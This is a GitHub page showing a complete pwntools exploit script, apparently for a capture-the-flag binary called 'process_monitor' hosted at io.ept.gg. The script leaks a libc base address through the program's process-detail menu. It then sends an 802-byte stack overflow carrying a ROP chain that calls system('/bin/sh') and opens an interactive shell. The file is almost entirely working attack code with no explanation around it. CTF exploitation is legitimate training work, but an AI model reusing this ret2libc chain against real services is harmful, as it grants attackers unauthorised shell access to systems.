-
Notifications
You must be signed in to change notification settings - Fork 26
/
Copy pathexploit.py
executable file
·117 lines (97 loc) · 3.45 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host io.ept.gg --port 30001 ./process_monitor
from pwn import *
# Set up pwntools for the correct architecture
elf = exe = context.binary = ELF(args.EXE or './process_monitor')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'io.ept.gg'
port = int(args.PORT or 30001)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *show_process_detail+627
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled
import re
def leaklibc():
io.recvuntil(b"Enter your choice: ")
io.sendline(b"1")
if args.LOCAL:
processes = b""
for i in range(98):
processes += io.recvline()
find = re.findall(b"\n.*process_monitor.*\n", processes)[0]
pid = find[len("\nkali "):len("\nkali ")+5]
io.recvuntil(b"Enter your choice: ")
io.sendline(b"2")
io.recvuntil(b"Enter the PID of the process: ")
io.sendline(pid)
for i in range(16):
io.recvline()
return int(io.recvline()[:len("7fef1fb60000")], 16)
else:
processes = b""
processes = io.recvline()
processes += io.recvline()
processes += io.recvline()
processes += io.recvline()
processes += io.recvline()
processes += io.recvline()
processes += io.recvline()
pid = processes.split(b"\n")[4][len("ept "):len("ept ")+4]
io.recvuntil(b"Enter your choice: ")
io.sendline(b"2")
io.recvuntil(b"Enter the PID of the process: ")
io.sendline(pid)
for i in range(16):
io.recvline()
return int(io.recvline()[:len("7fef1fb60000")], 16)
libc = ELF("/home/kali/ctf/libc-database/db/libc6_2.35-0ubuntu3.4_amd64.so")
rop = ROP(libc)
io = start()
libcaddr = leaklibc()
log.info("Libc leak: " + hex(libcaddr))
libc.address = libcaddr
io.recvuntil(b"Enter your choice: ")
io.sendline(b"2")
io.recvuntil(b"Enter the PID of the process: ")
payload = b"A"*802
payload += p64(libcaddr + rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(libcaddr + rop.find_gadget(['ret'])[0])
payload += p64(libc.sym.system)
io.sendline(payload)
io.interactive()